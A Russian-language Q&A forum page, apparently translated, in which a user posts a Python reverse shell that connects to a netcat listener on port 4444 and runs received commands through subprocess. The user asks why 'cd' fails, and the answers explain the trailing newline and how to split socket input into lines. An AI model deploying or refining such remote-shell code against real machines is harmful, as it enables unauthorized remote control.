Я не могу изменить каталог с помощью кодера обратной оболочки (tcp ip) в python

Я попытался закодировать обратную оболочку в python (reverse tcp ip) с помощью netcat, и я не могу изменить каталог с помощью модуля os.chdir (), вот мой код:

import socket 
import subprocess
import os

host = 'localhost'
port = 4444

s = socket.socket()
s.connect((host,port))


while True:

directory = ("\n" + os.getcwd() + ">")
directory = directory.encode()
s.send(directory)

data = s.recv(1024)
if data[:2].decode('utf-8') == 'cd':
    os.chdir(data[3:].decode('utf-8'))
else:
    comm = subprocess.Popen(str(data, "utf-8"), shell=True, stdout=subprocess.PIPE)
    out,x = comm.communicate()
    s.send(out)

Я продолжаю, слушая порт 4444 с помощью netcat, выполнив: nc -lvp 4444 И при запуске моего scrypt возникает ошибка:

file "reverse-tcp.py", line 20, in <module>
os.chdir(data[3:].decode('utf-8'))
OSError: [WinError 123] 
A syntax of file name, directory, or volume is incorrect 
'C:\\Users\\Isabelle\\Desktop\\dossier\n'

2 ответа

Проблема связана с именем файла: C:\\Users\\Isabelle\\Desktop\\dossier\n где \n перевод строки (LF). Результатом является неверный путь.

Вы включаете разделитель строк в конце команды в название каталога, на который вы меняете. Вы можете решить это путем rstripотключив разделитель строк, но вы, скорее всего, столкнетесь с проблемами в будущем, если вы воспользуетесь этим подходом.

Вы получаете необработанные блоки данных, которые могут содержать несколько строк. Нет гарантии data содержит одну команду или даже целую команду. Должна быть обработка, чтобы разбить ввод на строки, и если data заканчивается в середине строки, чтобы соединить ее с первой строкой следующей recv,

Другие вопросы по тегам